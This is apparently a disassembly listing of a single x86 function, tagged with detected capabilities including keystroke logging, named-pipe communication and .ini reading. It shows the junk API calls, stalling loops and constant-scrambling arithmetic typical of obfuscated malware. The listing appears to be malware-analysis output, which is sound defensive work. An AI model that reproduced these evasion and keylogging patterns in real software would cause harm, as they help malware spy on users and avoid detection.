Function at 0x403620
Capabilities:
Connect pipe
Get file attributes
Log keystrokes via polling
Read .ini file
Read pipe
Write pipe

Disassembly:
mov edx, 0x445650
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x403607
ret
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xcc8
cmp dword [0x7032e4], 0x6a6
jne 0x4036a4
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0x402d07
push 0x445650
call fcn.00404432
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.0040444c
lea ecx, [ebp - 0x1c]
call fcn.0040450d
push 0
call fcn.00404580
push 0
call fcn.00404551
push 0
push 0
call fcn.00404567
add esp, 0x10
jmp 0x403600
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
cmp esi, 0x98ec
jge 0x4036cf
push 0
call edi
push 0
lea eax, [ebp + 0x74]
push eax
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x11aba
jl 0x4036b5
mov eax, 0x11b1b
add dword [0x7032e4], eax
call fcn.00403510
call fcn.00403530
xor esi, esi
cmp dword [0x7032e4], esi
jbe 0x40373d
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
mov ecx, dword [0x703c84]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0x7001ec]
mov byte [eax + esi], dl
cmp dword [0x7032e4], 0xa8
jne 0x403734
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x7032e4]
jb 0x403703
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.USER32.dll_MessageBoxIndirectA]
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
mov dword [ebp + 0x74], eax
mov ecx, dword [0x7032e4]
add ecx, eax
cmp ecx, 0xe
jne 0x4037db
push 0x30
lea edx, [ebp - 0x4c]
push 0
push edx
mov dword [ebp - 0x50], 0
call fcn.00406d60
add esp, 0xc
push 0
lea eax, [ebp - 0x50]
push eax
push 0x402e50
call esi
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push 0
push 0
lea ecx, [ebp - 0xc50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push 0
push 0x402f10
lea edx, [ebp - 0x450]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [ebp + 0x74]
inc eax
cmp eax, 0x4f95a3
mov dword [ebp + 0x74], eax
jl 0x403754
mov edi, dword [sym.imp.USER32.dll_GetListBoxInfo]
mov esi, 0x4f4
push 0
call edi
sub esi, 1
jne 0x4037f5
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x26c0e8
jge 0x403b16
mov dword [ebp + 0x40], 0x492cbb35
mov dword [ebp + 0x44], 0x57f15988
mov dword [ebp], 0x685fa56c
mov dword [ebp + 0x20], 0x5f52e86f
mov dword [ebp + 0x60], 0xd1ff52e
mov dword [ebp + 0x1c], 0x554ac3e1
mov dword [ebp + 0x28], 0x7c83830a
mov dword [ebp + 0x38], 0x3bb08b8b
mov dword [ebp + 0x68], 0x69cbbd1c
mov dword [ebp + 0x18], 0x663a8906
mov dword [ebp - 0x10], 0x562c53be
mov dword [ebp + 4], 0x5a7e1795
mov dword [ebp + 0x2c], 0x3dee83ac
mov dword [ebp + 0x5c], 0x3b647778
mov dword [ebp + 0x4c], 0x6a21946b
mov dword [ebp + 0x74], 0x182893a8
mov dword [ebp - 8], 0x2d22ab3d
mov dword [ebp + 0x3c], 0xa56ef9c
mov dword [ebp + 0x14], 0x7989dc1c
mov dword [ebp + 0x24], 0x7303bf3f
mov dword [ebp + 0x70], 0x5a71ba29
mov dword [ebp - 0xc], 0x6c1701b3
mov dword [ebp + 0x6c], 0x128a3532
mov dword [ebp - 4], 0x60601bc1
mov dword [ebp + 0x34], 0x68a2386a
mov dword [ebp + 0x48], 0x7dbfe29a
mov dword [ebp + 0x64], 0x640cd771
mov dword [ebp + 0xc], 0x204e82b1
mov dword [ebp + 8], 0x2bd19ec0
mov dword [ebp + 0x54], 0x2fb012ce
mov dword [ebp + 0x50], 0x665d386a
mov dword [ebp + 0x30], 0x7218dbfa
mov dword [ebp + 0x58], 0x77cf54d1
mov dword [ebp + 0x10], 0x22aa174f
add dword [ebp + 0x44], 0x734e7382
sub dword [ebp + 0x40], 0x639dca36
add dword [ebp], 0x2575138c
add dword [ebp + 0x44], 0x15194e20
add dword [ebp + 0x44], 0x63853852
mov eax, 0x70a53373
mul dword [ebp + 0x44]
mov eax, dword [ebp + 0x44]
add dword [ebp + 0x40], 0x6132c6ff
sub dword [ebp + 0x44], 0x61886423
sub dword [ebp + 0x40], 0x2346fcc
sub dword [ebp], 0x43f5502a
mov eax, 0x3a0bf46d
mul dword [ebp]
mov eax, dword [ebp]
add dword [ebp], 0xc500736
sub dword [ebp], 0x3d6e1371
sub dword [ebp + 0x44], 0x688cded3
sub dword [ebp + 0x40], 0x47bd50
add dword [ebp], 0xe89261b
sub dword [ebp + 0x60], 0x3ee825e9
add dword [ebp + 0x28], 0x761ea406
mov eax, 0x6e457933
mul dword [ebp]
mov eax, dword [ebp]
sub dword [ebp + 0x20], 0x29cd2ef6
mov eax, 0x4564e111
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
sub dword [ebp + 0x1c], 0x749c9adb
sub dword [ebp + 4], 0x291117ea
add dword [ebp + 4], 0x5a9b2ee1
add dword [ebp + 0x1c], 0x7b80caff
mov eax, 0x5368920c
mul dword [ebp + 0x74]
mov eax, dword [ebp + 0x74]
add dword [ebp + 0x20], 0x79faaceb
mov eax, 0x28a926d0
mul dword [ebp + 0x60]
mov eax, dword [ebp + 0x60]
add dword [ebp - 8], 0x772f010
mov eax, 0x1c10977
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp + 0x3c], 0x38d739b6
sub dword [ebp + 0x44], 0x37ec8f36
sub dword [ebp + 4], 0x71fc8666
mov eax, 0x3c80f4dd
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x440f13af
mul dword [ebp + 0x24]
mov eax, dword [ebp + 0x24]
mov eax, 0x78613148
mul dword [ebp + 0x70]
mov eax, dword [ebp + 0x70]
add dword [ebp + 0x18], 0x52a74fd7
add dword [ebp + 0x1c], 0x45f1693a
add dword [ebp + 0x68], 0x12ebce78
add dword [ebp + 0x48], 0x6c76e8ea
mov eax, 0x447bdbdc
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp + 0x3c], 0xc28836a
sub dword [ebp + 0x24], 0x57cdd716
add dword [ebp + 0x74], 0x17c546ac
mov eax, 0x6b2b0404
mul dword [ebp + 0x38]
mov eax, dword [ebp + 0x38]
sub dword [ebp + 0x38], 0x398e75f6
mov eax, 0x67627e6a
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
sub dword [ebp + 0x40], 0x4af931b2
sub dword [ebp + 0x74], 0x5e0064ad
sub dword [ebp + 0x70], 0x218e944
mov eax, 0x391fca52
mul dword [ebp + 0x1c]
mov eax, dword [ebp + 0x1c]
add dword [ebp + 0x20], 0x28829cab
add dword [ebp - 4], 0x73966dab
sub dword [ebp + 0x74], 0x29b8c81c
sub dword [ebp + 0xc], 0x715e631a
add dword [ebp + 0x3c], 0x5b533554
add dword [ebp + 0x38], 0x2d3a7178
mov eax, 0x3818b5bf
mul dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
add dword [ebp + 8], 0x51e1f57e
mov eax, 0x6c271a1d
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp + 0x38], 0x1fda0b6d
sub dword [ebp + 0x14], 0x3cd49a01
mov eax, 0x12804e49
mul dword [ebp + 0x64]
mov eax, dword [ebp + 0x64]
sub dword [ebp + 0x74], 0x600e9b1e
mov eax, 0x6b82ae34
mul dword [ebp + 0x4c]
mov eax, dword [ebp + 0x4c]
add dword [ebp + 0x5c], 0x64f5a0e4
cmp esi, 0x2735c9
jg 0x403b2b
inc esi
cmp esi, 0x1f6e7e0
jl 0x403804
call fcn.004034a0
call fcn.004034f0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov ebx, 0x7b
jmp 0x403b50
cmp dword [0x7032e4], 0x86
jne 0x403b77
push 0
call esi
push 0
lea eax, [ebp + 0x70]
push eax
push 0
lea ecx, [ebp - 0x450]
push ecx
push 0
push 0
push 0
call edi
sub ebx, 1
jne 0x403b50
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov dword [ebp + 0x74], 0x180ef
cmp dword [0x7032e4], 0x1f
jne 0x403bb6
push 0
lea edx, [ebp + 0x70]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp + 0x74], 1
jne 0x403b95
call fcn.004031c0
call fcn.004035f0
pop edi
pop esi
pop ebx
add ebp, 0x78
mov esp, ebp
pop ebp
ret